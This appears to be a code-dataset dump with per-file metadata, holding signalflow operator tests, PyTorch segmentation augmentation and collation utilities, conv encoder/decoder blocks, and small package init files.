'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/fxgo-076.wav',
],
},
},
}
| 109.87456
| 187
| 0.690483
| 68,707
| 437,081
| 4.222859
| 0.021264
| 0.084649
| 0.126973
| 0.125888
| 0.970859
| 0.970014
| 0.969373
| 0.968805
| 0.968784
| 0.968743
| 0
| 0.200622
| 0.152166
| 437,081
| 3,977
| 188
| 109.902188
| 0.582329
| 0.071495
| 0
| 0.051146
| 0
| 0.906372
| 0.811341
| 0.799754
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 11
|
2121ef7a2e81427b783af2a3d125bb37b68b20df
| 4,128
|
py
|
Python
|
tests/test_node_operators.py
|
danstowell/signalflow
|
66cbe1d7b573312dc3a7435a154fbb10e47a24c5
|
[
"MIT"
] | 61
|
2020-10-12T11:46:09.000Z
|
2022-02-07T04:26:05.000Z
|
tests/test_node_operators.py
|
danstowell/signalflow
|
66cbe1d7b573312dc3a7435a154fbb10e47a24c5
|
[
"MIT"
] | 26
|
2020-10-07T20:25:26.000Z
|
2022-03-25T11:40:57.000Z
|
tests/test_node_operators.py
|
danstowell/signalflow
|
66cbe1d7b573312dc3a7435a154fbb10e47a24c5
|
[
"MIT"
] | 6
|
2021-02-27T19:50:25.000Z
|
2021-11-09T11:02:20.000Z
|
from signalflow import Constant, ChannelArray, Sum
import numpy as np
from . import process_tree
def test_add():
a = Constant(1)
b = Constant(2)
c = a + b
process_tree(c)
assert np.all(c.output_buffer[0] == 3)
c = a + b + 2
process_tree(c)
assert np.all(c.output_buffer[0] == 5)
c = a + 1
process_tree(c)
assert np.all(c.output_buffer[0] == 2)
c = a + 1.5
process_tree(c)
assert np.all(c.output_buffer[0] == 2.5)
c = 3 + a
process_tree(c)
assert np.all(c.output_buffer[0] == 4)
c = 3.5 + a
process_tree(c)
assert np.all(c.output_buffer[0] == 4.5)
def test_subtract():
a = Constant(1)
b = Constant(2)
c = a - b
process_tree(c)
assert np.all(c.output_buffer[0] == -1)
c = a - b - 2
process_tree(c)
assert np.all(c.output_buffer[0] == -3)
c = a - 1
process_tree(c)
assert np.all(c.output_buffer[0] == 0)
c = a - 1.5
process_tree(c)
assert np.all(c.output_buffer[0] == -0.5)
c = 3 - a
process_tree(c)
assert np.all(c.output_buffer[0] == 2)
c = 3.5 - a
process_tree(c)
assert np.all(c.output_buffer[0] == 2.5)
def test_multiply():
a = Constant(2)
b = Constant(3)
c = a * b
process_tree(c)
assert np.all(c.output_buffer[0] == 6)
c = a * b * 2
process_tree(c)
assert np.all(c.output_buffer[0] == 12)
c = a * 2
process_tree(c)
assert np.all(c.output_buffer[0] == 4)
c = a * 1.5
process_tree(c)
assert np.all(c.output_buffer[0] == 3)
c = 3 * a
process_tree(c)
assert np.all(c.output_buffer[0] == 6)
c = 3.5 * a
process_tree(c)
assert np.all(c.output_buffer[0] == 7)
def test_divide():
a = Constant(1)
b = Constant(2)
c = a / b
process_tree(c)
assert np.all(c.output_buffer[0] == 0.5)
c = a / b / 2
process_tree(c)
assert np.all(c.output_buffer[0] == 0.25)
c = a / 2
process_tree(c)
assert np.all(c.output_buffer[0] == 0.5)
c = a / 2.5
process_tree(c)
assert np.all(c.output_buffer[0] == 0.4)
c = 3 / b
process_tree(c)
assert np.all(c.output_buffer[0] == 1.5)
c = 3.5 / b
process_tree(c)
assert np.all(c.output_buffer[0] == 1.75)
def test_pow():
a = Constant(2)
b = Constant(4)
c = a ** b
process_tree(c)
assert np.all(c.output_buffer[0] == 16)
c = b ** a
process_tree(c)
assert np.all(c.output_buffer[0] == 16)
c = a ** 2
process_tree(c)
assert np.all(c.output_buffer[0] == 4)
c = b ** 2.5
process_tree(c)
assert np.all(c.output_buffer[0] == 32)
c = 2 ** a
process_tree(c)
assert np.all(c.output_buffer[0] == 4)
c = 4 ** a
process_tree(c)
assert np.all(c.output_buffer[0] == 16)
def test_subscript():
a = ChannelArray([ 1, 2, 3, 4 ])
assert a.num_output_channels == 4
process_tree(a)
assert np.all(a.output_buffer[0] == 1)
assert np.all(a.output_buffer[1] == 2)
assert np.all(a.output_buffer[2] == 3)
assert np.all(a.output_buffer[3] == 4)
b = a[0]
process_tree(b)
assert b.num_output_channels == 1
assert np.all(b.output_buffer[0] == 1)
assert np.all(b.output_buffer[1] == 0)
b = a[1]
process_tree(b)
assert b.num_output_channels == 1
assert np.all(b.output_buffer[0] == 2)
assert np.all(b.output_buffer[1] == 0)
b = a[2]
process_tree(b)
assert np.all(b.output_buffer[0] == 3)
assert np.all(b.output_buffer[1] == 0)
b = a[3]
process_tree(b)
assert np.all(b.output_buffer[0] == 4)
assert np.all(b.output_buffer[1] == 0)
b = a[0:2]
process_tree(b)
assert np.all(b.output_buffer[0] == 1)
assert np.all(b.output_buffer[1] == 2)
assert np.all(b.output_buffer[2] == 0)
b = a[0:4:2]
process_tree(b)
assert np.all(b.output_buffer[0] == 1)
assert np.all(b.output_buffer[1] == 3)
assert np.all(b.output_buffer[2] == 0)
def test_sum():
a = Sum([ 1, 2, 3, 4 ])
assert a.num_output_channels == 1
process_tree(a)
assert np.all(a.output_buffer[0] == 10)
| 21.612565
| 50
| 0.573643
| 741
| 4,128
| 3.05668
| 0.05668
| 0.173068
| 0.237969
| 0.238411
| 0.898896
| 0.882119
| 0.865342
| 0.847241
| 0.824283
| 0.799559
| 0
| 0.059386
| 0.265746
| 4,128
| 190
| 51
| 21.726316
| 0.687892
| 0
| 0
| 0.496644
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.355705
| 1
| 0.04698
| false
| 0
| 0.020134
| 0
| 0.067114
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
0d01cd6684713bc856fb4796a9ffad5079227e02
| 21,177
|
py
|
Python
|
simpleAICV/segmentation/common.py
|
zgcr/pytorch-ImageNet-CIFAR-COCO-voc-training
|
c5878df46ac874097d1a5076a81cd7d41630fb98
|
[
"MIT"
] | null | null | null |
simpleAICV/segmentation/common.py
|
zgcr/pytorch-ImageNet-CIFAR-COCO-voc-training
|
c5878df46ac874097d1a5076a81cd7d41630fb98
|
[
"MIT"
] | null | null | null |
simpleAICV/segmentation/common.py
|
zgcr/pytorch-ImageNet-CIFAR-COCO-voc-training
|
c5878df46ac874097d1a5076a81cd7d41630fb98
|
[
"MIT"
] | null | null | null |
import cv2
import math
import numpy as np
import torch
class RetinaStyleResize:
def __init__(self,
resize=400,
divisor=32,
stride=32,
multi_scale=False,
multi_scale_range=[0.8, 1.0]):
self.resize = resize
self.divisor = divisor
self.stride = stride
self.multi_scale = multi_scale
self.multi_scale_range = multi_scale_range
self.ratio = 1333. / 800
def __call__(self, sample):
image, box_targets, mask_targets, class_targets, scale, size = sample[
'image'], sample['box_annots'], sample['mask_annots'], sample[
'class_annots'], sample['scale'], sample['size']
h, w, _ = image.shape
if self.multi_scale:
scale_range = [
int(self.multi_scale_range[0] * self.resize),
int(self.multi_scale_range[1] * self.resize)
]
resize_list = [
i // self.stride * self.stride
for i in range(scale_range[0], scale_range[1] + self.stride)
]
resize_list = list(set(resize_list))
random_idx = np.random.randint(0, len(resize_list))
scales = (resize_list[random_idx],
int(round(self.resize * self.ratio)))
else:
scales = (self.resize, int(round(self.resize * self.ratio)))
max_long_edge, max_short_edge = max(scales), min(scales)
factor = min(max_long_edge / max(h, w), max_short_edge / min(h, w))
resize_h, resize_w = int(round(h * factor)), int(round(w * factor))
image = cv2.resize(image, (resize_w, resize_h))
pad_w = 0 if resize_w % self.divisor == 0 else self.divisor - resize_w % self.divisor
pad_h = 0 if resize_h % self.divisor == 0 else self.divisor - resize_h % self.divisor
padded_image = np.zeros((resize_h + pad_h, resize_w + pad_w, 3),
dtype=np.float32)
padded_image[:resize_h, :resize_w, :] = image
padded_masks = np.zeros(
(mask_targets.shape[0], resize_h + pad_h, resize_w + pad_w),
dtype=np.float32)
if mask_targets.shape[0] > 0:
# [mask_num,h,w]->[h,w,mask_num]->[resize_h,resize_w,mask_num]->[mask_num,resize_h,resize_w]
mask_targets = cv2.resize(mask_targets.transpose(1, 2, 0),
(resize_w, resize_h))
if len(mask_targets.shape) < 3:
mask_targets = np.expand_dims(mask_targets, axis=-1)
mask_targets = mask_targets.transpose(2, 0, 1)
# set resize position value <=0 to 0,value >0 to 1
mask_targets[mask_targets <= 0] = 0
mask_targets[mask_targets > 0] = 1
padded_masks[:, :resize_h, :resize_w] = mask_targets
factor = np.float32(factor)
box_targets *= factor
scale *= factor
return {
'image': padded_image,
'box_annots': box_targets,
'mask_annots': padded_masks,
'class_annots': class_targets,
'scale': scale,
'size': size,
}
class YoloStyleResize:
def __init__(self,
resize=640,
divisor=32,
stride=32,
multi_scale=False,
multi_scale_range=[0.5, 1.0]):
self.resize = resize
self.divisor = divisor
self.stride = stride
self.multi_scale = multi_scale
self.multi_scale_range = multi_scale_range
def __call__(self, sample):
image, box_targets, mask_targets, class_targets, scale, size = sample[
'image'], sample['box_annots'], sample['mask_annots'], sample[
'class_annots'], sample['scale'], sample['size']
h, w, _ = image.shape
if self.multi_scale:
scale_range = [
int(self.multi_scale_range[0] * self.resize),
int(self.multi_scale_range[1] * self.resize)
]
resize_list = [
i // self.stride * self.stride
for i in range(scale_range[0], scale_range[1] + self.stride)
]
resize_list = list(set(resize_list))
random_idx = np.random.randint(0, len(resize_list))
final_resize = resize_list[random_idx]
else:
final_resize = self.resize
factor = final_resize / max(h, w)
resize_h, resize_w = int(round(h * factor)), int(round(w * factor))
image = cv2.resize(image, (resize_w, resize_h))
pad_w = 0 if resize_w % self.divisor == 0 else self.divisor - resize_w % self.divisor
pad_h = 0 if resize_h % self.divisor == 0 else self.divisor - resize_h % self.divisor
padded_image = np.zeros((resize_h + pad_h, resize_w + pad_w, 3),
dtype=np.float32)
padded_image[:resize_h, :resize_w, :] = image
padded_masks = np.zeros(
(mask_targets.shape[0], resize_h + pad_h, resize_w + pad_w),
dtype=np.float32)
if mask_targets.shape[0] > 0:
# [mask_num,h,w]->[h,w,mask_num]->[resize_h,resize_w,mask_num]->[mask_num,resize_h,resize_w]
mask_targets = cv2.resize(mask_targets.transpose(1, 2, 0),
(resize_w, resize_h))
if len(mask_targets.shape) < 3:
mask_targets = np.expand_dims(mask_targets, axis=-1)
mask_targets = mask_targets.transpose(2, 0, 1)
# set resize position value <=0 to 0,value >0 to 1
mask_targets[mask_targets <= 0] = 0
mask_targets[mask_targets > 0] = 1
padded_masks[:, :resize_h, :resize_w] = mask_targets
factor = np.float32(factor)
box_targets *= factor
scale *= factor
return {
'image': padded_image,
'box_annots': box_targets,
'mask_annots': padded_masks,
'class_annots': class_targets,
'scale': scale,
'size': size,
}
class RandomHorizontalFlip:
def __init__(self, prob=0.5):
self.prob = prob
def __call__(self, sample):
image, box_targets, mask_targets, class_targets, scale, size = sample[
'image'], sample['box_annots'], sample['mask_annots'], sample[
'class_annots'], sample['scale'], sample['size']
if box_targets.shape[0] == 0:
return sample
if np.random.uniform(0, 1) < self.prob:
image = image[:, ::-1, :]
_, w, _ = image.shape
x1 = box_targets[:, 0].copy()
x2 = box_targets[:, 2].copy()
box_targets[:, 0] = w - x2
box_targets[:, 2] = w - x1
mask_targets = mask_targets[:, :, ::-1]
return {
'image': image,
'box_annots': box_targets,
'mask_annots': mask_targets,
'class_annots': class_targets,
'scale': scale,
'size': size,
}
class RandomCrop:
def __init__(self, prob=0.5):
self.prob = prob
def __call__(self, sample):
image, box_targets, mask_targets, class_targets, scale, size = sample[
'image'], sample['box_annots'], sample['mask_annots'], sample[
'class_annots'], sample['scale'], sample['size']
if box_targets.shape[0] == 0:
return sample
if np.random.uniform(0, 1) < self.prob:
h, w, _ = image.shape
max_bbox = np.concatenate([
np.min(box_targets[:, 0:2], axis=0),
np.max(box_targets[:, 2:4], axis=0)
],
axis=-1)
max_left_trans, max_up_trans = max_bbox[0], max_bbox[1]
max_right_trans, max_down_trans = w - max_bbox[2], h - max_bbox[3]
crop_xmin = max(
0, int(max_bbox[0] - np.random.uniform(0, max_left_trans)))
crop_ymin = max(
0, int(max_bbox[1] - np.random.uniform(0, max_up_trans)))
crop_xmax = min(
w, int(max_bbox[2] + np.random.uniform(0, max_right_trans)))
crop_ymax = min(
h, int(max_bbox[3] + np.random.uniform(0, max_down_trans)))
image = image[crop_ymin:crop_ymax, crop_xmin:crop_xmax]
box_targets[:, [0, 2]] = box_targets[:, [0, 2]] - crop_xmin
box_targets[:, [1, 3]] = box_targets[:, [1, 3]] - crop_ymin
mask_targets = mask_targets[:, crop_ymin:crop_ymax,
crop_xmin:crop_xmax]
return {
'image': image,
'box_annots': box_targets,
'mask_annots': mask_targets,
'class_annots': class_targets,
'scale': scale,
'size': size,
}
class RandomTranslate:
def __init__(self, prob=0.5):
self.prob = prob
def __call__(self, sample):
image, box_targets, mask_targets, class_targets, scale, size = sample[
'image'], sample['box_annots'], sample['mask_annots'], sample[
'class_annots'], sample['scale'], sample['size']
if box_targets.shape[0] == 0:
return sample
if np.random.uniform(0, 1) < self.prob:
h, w, _ = image.shape
max_bbox = np.concatenate([
np.min(box_targets[:, 0:2], axis=0),
np.max(box_targets[:, 2:4], axis=0)
],
axis=-1)
max_left_trans, max_up_trans = max_bbox[0], max_bbox[1]
max_right_trans, max_down_trans = w - max_bbox[2], h - max_bbox[3]
tx = np.random.uniform(-(max_left_trans - 1),
(max_right_trans - 1))
ty = np.random.uniform(-(max_up_trans - 1), (max_down_trans - 1))
M = np.array([[1, 0, tx], [0, 1, ty]])
image = cv2.warpAffine(image, M, (w, h))
box_targets[:, [0, 2]] = box_targets[:, [0, 2]] + tx
box_targets[:, [1, 3]] = box_targets[:, [1, 3]] + ty
# [mask_num,h,w]->[h,w,mask_num]->[resize_h,resize_w,mask_num]->[mask_num,resize_h,resize_w]
mask_targets = cv2.warpAffine(mask_targets.transpose(1, 2, 0), M,
(w, h))
if len(mask_targets.shape) < 3:
mask_targets = np.expand_dims(mask_targets, axis=-1)
mask_targets = mask_targets.transpose(2, 0, 1)
# set resize position value <=0 to 0,value >0 to 1
mask_targets[mask_targets <= 0] = 0
mask_targets[mask_targets > 0] = 1
return {
'image': image,
'box_annots': box_targets,
'mask_annots': mask_targets,
'class_annots': class_targets,
'scale': scale,
'size': size,
}
class Normalize:
def __init__(self):
pass
def __call__(self, sample):
image, box_targets, mask_targets, class_targets, scale, size = sample[
'image'], sample['box_annots'], sample['mask_annots'], sample[
'class_annots'], sample['scale'], sample['size']
image = image / 255.
return {
'image': image,
'box_annots': box_targets,
'mask_annots': mask_targets,
'class_annots': class_targets,
'scale': scale,
'size': size,
}
class InstanceSegmentationCollater:
def __init__(self, divisor=32):
self.divisor = divisor
def __call__(self, data):
images = [s['image'] for s in data]
box_targets = [s['box_annots'] for s in data]
mask_targets = [s['mask_annots'] for s in data]
class_targets = [s['class_annots'] for s in data]
scales = [s['scale'] for s in data]
sizes = [s['size'] for s in data]
batch_num = len(images)
max_h = max(image.shape[0] for image in images)
max_w = max(image.shape[1] for image in images)
pad_h = 0 if max_h % self.divisor == 0 else self.divisor - max_h % self.divisor
pad_w = 0 if max_w % self.divisor == 0 else self.divisor - max_w % self.divisor
input_images = np.zeros((batch_num, max_h + pad_h, max_w + pad_w, 3),
dtype=np.float32)
for i, image in enumerate(images):
input_images[i, 0:image.shape[0], 0:image.shape[1], :] = image
input_images = torch.from_numpy(input_images)
# B H W 3 ->B 3 H W
input_images = input_images.permute(0, 3, 1, 2)
mask_num = max(mask_target.shape[0] for mask_target in mask_targets)
max_h = max(mask_target.shape[1] for mask_target in mask_targets)
max_w = max(mask_target.shape[2] for mask_target in mask_targets)
pad_h = 0 if max_h % self.divisor == 0 else self.divisor - max_h % self.divisor
pad_w = 0 if max_w % self.divisor == 0 else self.divisor - max_w % self.divisor
input_masks = np.zeros(
(batch_num, mask_num, max_h + pad_h, max_w + pad_w),
dtype=np.float32)
for i, (per_image_mask,
per_image_class) in enumerate(zip(mask_targets,
class_targets)):
assert per_image_mask.shape[0] == per_image_class.shape[0]
per_image_mask_num, per_image_h, per_image_w = per_image_mask.shape[
0], per_image_mask.shape[1], per_image_mask.shape[2]
input_masks[i, 0:per_image_mask_num, 0:per_image_h,
0:per_image_w] = per_image_mask
# [B,mask_num,h,w]
input_masks = torch.from_numpy(input_masks)
max_object_num = max(box_target.shape[0] for box_target in box_targets)
input_boxes = np.ones(
(len(box_targets), max_object_num, 4), dtype=np.float32) * (-1)
input_classes = np.ones(
(len(box_targets), max_object_num), dtype=np.float32) * (-1)
if max_object_num > 0:
for i, box_target in enumerate(box_targets):
if box_target.shape[0] > 0:
input_boxes[i, :box_target.shape[0], :] = box_target
for i, class_target in enumerate(class_targets):
if class_target.shape[0] > 0:
input_classes[i, :class_target.shape[0]] = class_target
input_boxes = torch.from_numpy(input_boxes)
input_classes = torch.from_numpy(input_classes)
scales = np.array(scales, dtype=np.float32)
sizes = np.array(sizes, dtype=np.float32)
return {
'image': input_images,
'box_annots': input_boxes,
'mask_annots': input_masks,
'class_annots': input_classes,
'scale': scales,
'size': sizes,
}
class SemanticSegmentationCollater:
def __init__(self, divisor=32):
self.divisor = divisor
def __call__(self, data):
images = [s['image'] for s in data]
box_targets = [s['box_annots'] for s in data]
mask_targets = [s['mask_annots'] for s in data]
class_targets = [s['class_annots'] for s in data]
scales = [s['scale'] for s in data]
sizes = [s['size'] for s in data]
max_h = max(image.shape[0] for image in images)
max_w = max(image.shape[1] for image in images)
pad_h = 0 if max_h % self.divisor == 0 else self.divisor - max_h % self.divisor
pad_w = 0 if max_w % self.divisor == 0 else self.divisor - max_w % self.divisor
input_images = np.zeros((len(images), max_h + pad_h, max_w + pad_w, 3),
dtype=np.float32)
for i, image in enumerate(images):
input_images[i, 0:image.shape[0], 0:image.shape[1], :] = image
input_images = torch.from_numpy(input_images)
# B H W 3 ->B 3 H W
input_images = input_images.permute(0, 3, 1, 2)
max_h = max(mask_target.shape[1] for mask_target in mask_targets)
max_w = max(mask_target.shape[2] for mask_target in mask_targets)
pad_h = 0 if max_h % self.divisor == 0 else self.divisor - max_h % self.divisor
pad_w = 0 if max_w % self.divisor == 0 else self.divisor - max_w % self.divisor
input_masks = np.zeros(
(len(mask_targets), max_h + pad_h, max_w + pad_w),
dtype=np.float32)
for i, (per_image_mask,
per_image_class) in enumerate(zip(mask_targets,
class_targets)):
assert per_image_mask.shape[0] == per_image_class.shape[0]
per_image_h, per_image_w = per_image_mask.shape[
1], per_image_mask.shape[2]
final_per_image_mask = np.zeros((per_image_h, per_image_w),
dtype=np.float32)
for per_mask, per_class in zip(per_image_mask, per_image_class):
# final semantic mask coco class label from 1 to 80
final_per_image_mask[
per_mask > 0] = per_mask[per_mask > 0] * (per_class)
input_masks[i, 0:per_image_h, 0:per_image_w] = final_per_image_mask
# [B,h,w]
input_masks = torch.from_numpy(input_masks)
max_object_num = max(box_target.shape[0] for box_target in box_targets)
input_boxes = np.ones(
(len(box_targets), max_object_num, 4), dtype=np.float32) * (-1)
input_classes = np.ones(
(len(box_targets), max_object_num), dtype=np.float32) * (-1)
if max_object_num > 0:
for i, box_target in enumerate(box_targets):
if box_target.shape[0] > 0:
input_boxes[i, :box_target.shape[0], :] = box_target
for i, class_target in enumerate(class_targets):
if class_target.shape[0] > 0:
input_classes[i, :class_target.shape[0]] = class_target
input_boxes = torch.from_numpy(input_boxes)
input_classes = torch.from_numpy(input_classes)
scales = np.array(scales, dtype=np.float32)
sizes = np.array(sizes, dtype=np.float32)
return {
'image': input_images,
'box_annots': input_boxes,
'mask_annots': input_masks,
'class_annots': input_classes,
'scale': scales,
'size': sizes,
}
class SegmentationDataPrefetcher:
def __init__(self, loader):
self.loader = iter(loader)
self.stream = torch.cuda.Stream()
self.preload()
def preload(self):
try:
sample = next(self.loader)
images, box_targets, mask_targets, class_targets = sample[
'image'], sample['box_annots'], sample['mask_annots'], sample[
'class_annots']
self.next_images, self.next_box_targets, self.next_mask_targets, self.next_class_targets = images, box_targets, mask_targets, class_targets
except StopIteration:
self.next_images = None
self.next_box_targets = None
self.next_mask_targets = None
self.next_class_targets = None
return
with torch.cuda.stream(self.stream):
self.next_images = self.next_images.cuda(non_blocking=True)
self.next_box_targets = self.next_box_targets.cuda(
non_blocking=True)
self.next_mask_targets = self.next_mask_targets.cuda(
non_blocking=True)
self.next_class_targets = self.next_class_targets.cuda(
non_blocking=True)
self.next_images = self.next_images.float()
def next(self):
torch.cuda.current_stream().wait_stream(self.stream)
images, box_targets, mask_targets, class_targets = self.next_images, self.next_box_targets, self.next_mask_targets, self.next_class_targets
self.preload()
return images, box_targets, mask_targets, class_targets
def load_state_dict(saved_model_path, model, excluded_layer_name=()):
'''
saved_model_path: a saved model.state_dict() .pth file path
model: a new defined model
excluded_layer_name: layer names that doesn't want to load parameters
only load layer parameters which has same layer name and same layer weight shape
'''
if not saved_model_path:
print('No pretrained model file!')
return
saved_state_dict = torch.load(saved_model_path,
map_location=torch.device('cpu'))
filtered_state_dict = {
name: weight
for name, weight in saved_state_dict.items()
if name in model.state_dict() and not any(
excluded_name in name for excluded_name in excluded_layer_name)
and weight.shape == model.state_dict()[name].shape
}
if len(filtered_state_dict) == 0:
print('No pretrained parameters to load!')
else:
model.load_state_dict(filtered_state_dict, strict=False)
return
| 38.785714
| 151
| 0.565094
| 2,755
| 21,177
| 4.06461
| 0.06824
| 0.070727
| 0.033756
| 0.024647
| 0.813806
| 0.796124
| 0.771566
| 0.746115
| 0.728255
| 0.727719
| 0
| 0.022873
| 0.32285
| 21,177
| 546
| 152
| 38.785714
| 0.75802
| 0.036313
| 0
| 0.704918
| 0
| 0
| 0.041775
| 0
| 0
| 0
| 0
| 0
| 0.004684
| 1
| 0.046838
| false
| 0.002342
| 0.009368
| 0
| 0.112412
| 0.004684
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
0d25152828e2a104c179b67cdbeb2afc4ea4cf17
| 4,286
|
py
|
Python
|
hyperion/torch/layer_blocks/dc2d_blocks.py
|
hyperion-ml/hyperion
|
c4c9eee0acab1ba572843373245da12d00dfffaa
|
[
"Apache-2.0"
] | 14
|
2021-12-19T04:24:15.000Z
|
2022-03-18T03:24:04.000Z
|
hyperion/torch/layer_blocks/dc2d_blocks.py
|
hyperion-ml/hyperion
|
c4c9eee0acab1ba572843373245da12d00dfffaa
|
[
"Apache-2.0"
] | null | null | null |
hyperion/torch/layer_blocks/dc2d_blocks.py
|
hyperion-ml/hyperion
|
c4c9eee0acab1ba572843373245da12d00dfffaa
|
[
"Apache-2.0"
] | 5
|
2021-12-14T20:41:27.000Z
|
2022-02-24T14:18:11.000Z
|
"""
Copyright 2020 Johns Hopkins University (Author: Jesus Villalba)
Apache 2.0 (http://www.apache.org/licenses/LICENSE-2.0)
"""
import torch.nn as nn
from torch.nn import Conv2d, BatchNorm2d, Dropout2d
from ..layers import ActivationFactory as AF
from ..layers.subpixel_convs import SubPixelConv2d
class DC2dEncBlock(nn.Module):
def __init__(
self,
in_channels,
out_channels,
kernel_size,
stride=1,
dilation=1,
activation="relu",
dropout_rate=0,
use_norm=True,
norm_layer=None,
norm_before=True,
):
super().__init__()
self.activation = AF.create(activation)
padding = int(dilation * (kernel_size - 1) / 2)
self.dropout_rate = dropout_rate
self.dropout = None
if dropout_rate > 0:
self.dropout = Dropout2d(dropout_rate)
self.norm_before = False
self.norm_after = False
if use_norm:
if norm_layer is None:
norm_layer = BatchNorm2d
self.bn1 = norm_layer(out_channels)
if norm_before:
self.norm_before = True
else:
self.norm_after = True
self.conv1 = Conv2d(
in_channels,
out_channels,
bias=(not self.norm_before),
kernel_size=kernel_size,
stride=stride,
dilation=dilation,
padding=padding,
)
self.stride = stride
self.context = dilation * (kernel_size - 1) // 2
def freeze(self):
for param in self.parameters():
param.requires_grad = False
def unfreeze(self):
for param in self.parameters():
param.requires_grad = True
def forward(self, x):
x = self.conv1(x)
if self.norm_before:
x = self.bn1(x)
if self.activation is not None:
x = self.activation(x)
if self.norm_after:
x = self.bn1(x)
if self.dropout_rate > 0:
x = self.dropout(x)
return x
class DC2dDecBlock(nn.Module):
def __init__(
self,
in_channels,
out_channels,
kernel_size,
stride=1,
dilation=1,
activation="relu",
dropout_rate=0,
use_norm=True,
norm_layer=None,
norm_before=True,
):
super().__init__()
self.activation = AF.create(activation)
padding = int(dilation * (kernel_size - 1) / 2)
self.dropout_rate = dropout_rate
self.dropout = None
if dropout_rate > 0:
self.dropout = Dropout2d(dropout_rate)
self.norm_before = False
self.norm_after = False
if use_norm:
if norm_layer is None:
norm_layer = BatchNorm2d
self.bn1 = norm_layer(out_channels)
if norm_before:
self.norm_before = True
else:
self.norm_after = True
if stride == 1:
self.conv1 = Conv2d(
in_channels,
out_channels,
kernel_size=kernel_size,
stride=1,
dilation=dilation,
bias=(not self.norm_before),
padding=padding,
) # pytorch > 1.0
else:
self.conv1 = SubPixelConv2d(
in_channels,
out_channels,
kernel_size=kernel_size,
stride=stride,
dilation=dilation,
bias=(not self.norm_before),
padding=padding,
)
self.stride = stride
self.context = dilation * (kernel_size - 1) // 2
def freeze(self):
for param in self.parameters():
param.requires_grad = False
def unfreeze(self):
for param in self.parameters():
param.requires_grad = True
def forward(self, x):
x = self.conv1(x)
if self.norm_before:
x = self.bn1(x)
if self.activation is not None:
x = self.activation(x)
if self.norm_after:
x = self.bn1(x)
if self.dropout_rate > 0:
x = self.dropout(x)
return x
| 24.632184
| 66
| 0.530798
| 472
| 4,286
| 4.633475
| 0.169492
| 0.05487
| 0.057613
| 0.048011
| 0.856424
| 0.846365
| 0.846365
| 0.823045
| 0.798354
| 0.715135
| 0
| 0.020493
| 0.385208
| 4,286
| 173
| 67
| 24.774566
| 0.809488
| 0.031965
| 0
| 0.917293
| 0
| 0
| 0.001933
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.06015
| false
| 0
| 0.030075
| 0
| 0.120301
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
0d30dd41faaf2ed1b5a3d87a5b2ac2f71f699cf5
| 119
|
py
|
Python
|
webrtc_pkg/webrtc_pkg/RTCPub/__init__.py
|
Road-Balance/rb_nanosaur
|
cc17d184e926f3a021698e6f52e916b107dc0fc5
|
[
"RSA-MD"
] | 7
|
2021-05-29T09:28:08.000Z
|
2021-12-11T10:57:10.000Z
|
webrtc_pkg/webrtc_pkg/RTCPub/__init__.py
|
Road-Balance/rb_nanosaur
|
cc17d184e926f3a021698e6f52e916b107dc0fc5
|
[
"RSA-MD"
] | 1
|
2021-05-31T20:49:13.000Z
|
2021-06-01T11:39:16.000Z
|
webrtc_pkg/webrtc_pkg/RTCPub/__init__.py
|
Road-Balance/rb_nanosaur
|
cc17d184e926f3a021698e6f52e916b107dc0fc5
|
[
"RSA-MD"
] | 1
|
2022-03-29T08:38:57.000Z
|
2022-03-29T08:38:57.000Z
|
from .rtc_pub import *
# mostly used one is RTCDataChannel
from .rtc_pub import RTCDataChannel
sys.path.append("..")
| 17
| 35
| 0.756303
| 17
| 119
| 5.176471
| 0.705882
| 0.159091
| 0.227273
| 0.363636
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.142857
| 119
| 6
| 36
| 19.833333
| 0.862745
| 0.277311
| 0
| 0
| 0
| 0
| 0.02381
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.666667
| 0
| 0.666667
| 0
| 1
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
b4dd49cec9777250ebc0ee47114e3552195ca148
| 89
|
py
|
Python
|
common_col_patterns/__init__.py
|
levgou/common_col_patters
|
3ceeb21c0bad5c487b6aa4b901cc7960ce653b78
|
[
"MIT"
] | null | null | null |
common_col_patterns/__init__.py
|
levgou/common_col_patters
|
3ceeb21c0bad5c487b6aa4b901cc7960ce653b78
|
[
"MIT"
] | null | null | null |
common_col_patterns/__init__.py
|
levgou/common_col_patters
|
3ceeb21c0bad5c487b6aa4b901cc7960ce653b78
|
[
"MIT"
] | null | null | null |
from common_col_patterns.col_tools import *
from common_col_patterns.func_tools import *
| 29.666667
| 44
| 0.865169
| 14
| 89
| 5.071429
| 0.5
| 0.28169
| 0.366197
| 0.591549
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.089888
